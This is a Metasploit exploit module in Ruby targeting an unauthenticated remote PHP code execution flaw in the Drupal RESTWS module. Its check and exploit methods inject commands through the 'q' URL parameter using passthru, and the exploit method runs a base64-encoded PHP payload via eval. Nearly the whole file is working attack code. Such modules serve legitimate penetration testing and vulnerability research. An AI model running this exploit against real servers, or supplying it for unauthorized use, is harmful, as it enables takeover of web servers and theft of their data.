##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Drupal RESTWS Module Remote PHP Code Execution',
      'Description'    => %q{
        This module exploits a Remote PHP Code Execution vulnerability in the
        Drupal RESTWS Module. Unauthenticated users can execute arbitrary code
        under the context of the web server user.

        RESTWS alters the default page callbacks for entities to provide
        additional functionality. A vulnerability in this approach allows
        an unauthenticated attacker to send specially crafted requests resulting
        in arbitrary PHP execution. RESTWS 2.x prior to 2.6 and 1.x prior to 1.7
        are affected by this issue.

        This module was tested against RESTWS 2.5 with Drupal 7.5 installed on
        Ubuntu Server.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Devin Zuczek',                        # discovery
          'Mehmet Ince <mehmet@mehmetince.net>'  # msf module
        ],
      'References'     =>
        [
          ['URL', 'https://www.drupal.org/node/2765567']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [ ['Automatic', {}] ],
      'DisclosureDate' => '2016-07-13',
      'DefaultTarget'  => 0
      ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/'])
      ]
    )
  end

  def check
    r = rand_text_alpha(8 + rand(4))

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vars_get' => {
        'q' => "taxonomy_vocabulary//passthru/printf '#{Rex::Text.to_octal(r)}'"
      }
    )

    if res && res.body.include?(r)
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    cmd = "php -r 'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'"

    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vars_get' => {
        'q' => "taxonomy_vocabulary//passthru/#{cmd}"
      }
    )
  end
end
